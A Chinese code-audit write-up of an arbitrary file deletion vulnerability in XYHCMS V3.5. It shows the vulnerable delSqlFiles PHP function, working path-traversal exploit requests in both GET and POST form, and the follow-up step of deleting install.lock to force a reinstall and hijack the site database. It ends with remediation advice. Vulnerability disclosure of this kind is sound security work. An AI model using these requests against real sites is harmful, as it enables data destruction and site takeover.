【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备
XYHCMS官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php 第293--233行:
- public function delSqlFiles() {
- $id = I('id', 0, 'intval');
- $batchFlag = I('get.batchFlag', 0, 'intval');
- //批量删除
- if ($batchFlag) {
- $files = I('key', array());
- } else {
- $files[] = I('sqlfilename', '');
- }
- 10. if (empty($files)) {
- 11. $this->error('请选择要删除的sql文件');
- 12. }
- 13. foreach ($files as $file) {
- 14. unlink($this->getDbPath() . '/' . $file);
- 15. }
- 16. $this->success("已删除:" . implode(",", $files), U('Database/restore'));
- 17. }
这段函数中对提交的参数进行简单的判断,然后将接受的参数拼接到路径中,带入到unlink函数中进行删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lock进行CMS重装,劫持网站
数据库。
0x02 漏洞利用
1、在网站根目录新建1.txt作为漏洞测试文件

2、进行漏洞利用
漏洞利用方式一:
通过GET方式提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1
漏洞利用方式二:
通过POST提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1
POST:key%5B%5D=../../../1.txt

3、如何进一步利用呢?
删除\Install\install.lock,进行CMS重装,劫持网站数据库。删除install.lock文件,访问http://127.0.0.1/install/,成功进入系统重装界面。

0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】XYHCMS V3.5任意文件删除漏洞分析的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】XYHCMS V3.5任意文件读取漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){ $arr=array(); $ ...
随机推荐
- @property使用
# coding:utf-8 """ property:负责把方法变成属性 """ class Student(object): def g ...
- fatal error C1083: 无法打开编译器生成的文件:“../../build/vs71/release/lib_json\json_value.asm”: No such file or directory
修改生成静态库文件的工程的属性:路径为:菜单---项目--属性---配置属性---c/c++---输出文件---汇编程序输出:无列表
- python测试开发django-49.allow_tags和mark_safe
前言 前面一篇使用allow_tags方法可以在xadmin的后台页面中插入html代码,在2.x版本ModelAdmin里面删除了allow_tags属性的支持,使用mark_safe函数代替 al ...
- [Python] 文件扫描
文件扫描 下载 https://github.com/YouXianMing/FileManager 细节 1. 基于Python 3.60,其他版本未测试 2. 支持扫描深度,不设置则扫描全部,设置 ...
- autorelease' is unavailable
ARC forbids explicit message send of'release' 'release' is unavailable: not available inautomatic re ...
- 树莓派(RespberryPi)安装手记
购买了两台树莓派,显示器接口是HDMI的,所以需要HDMI高清线连接到显示器,再加上SD卡做硬盘以及无线USB-WIFI,就可以玩一玩树莓派这个小东西了.以下是安装手记. 首先是制作“启动光盘”,其实 ...
- VMWare虚拟机中CPU过高的问题
在VMWare中按默认方式创建的虚拟机,安装的Windows Server 2016 x64操作系统.可打开一个稍微大一点的程序CPU就飙到90%以上,自然整个系统操作起来很卡. 在VMWare中看到 ...
- java 除法运算只保留整数位的3种方式
1.情景展示 根据提供的毫秒数进行除法运算,如果将毫秒数转换成小时,小时数不为0,则只取整数位,依此类推... 2.情况分析 可以使用3个函数实现 Math.floor(num) 只保留整数位 ...
- [Aaronyang] 写给自己的WPF4.5 笔记10[层次数据需求处理,TreeView绿色文章1/4]
我的文章一定要做到对读者负责,否则就是失败的文章 --------- www.ayjs.net aaronyang技术分享 AY留言: 文章根据难易,我根据游戏的规则进行了分色,希望读者 ...
- Nginx 介绍
Nginx 是什么 Nginx ("engine x") 是一个开源的,支持高性能.高并发的 Web 服务和代理服务软件.它是由俄罗斯人 Igor Sysoev 开发的,最初被应用 ...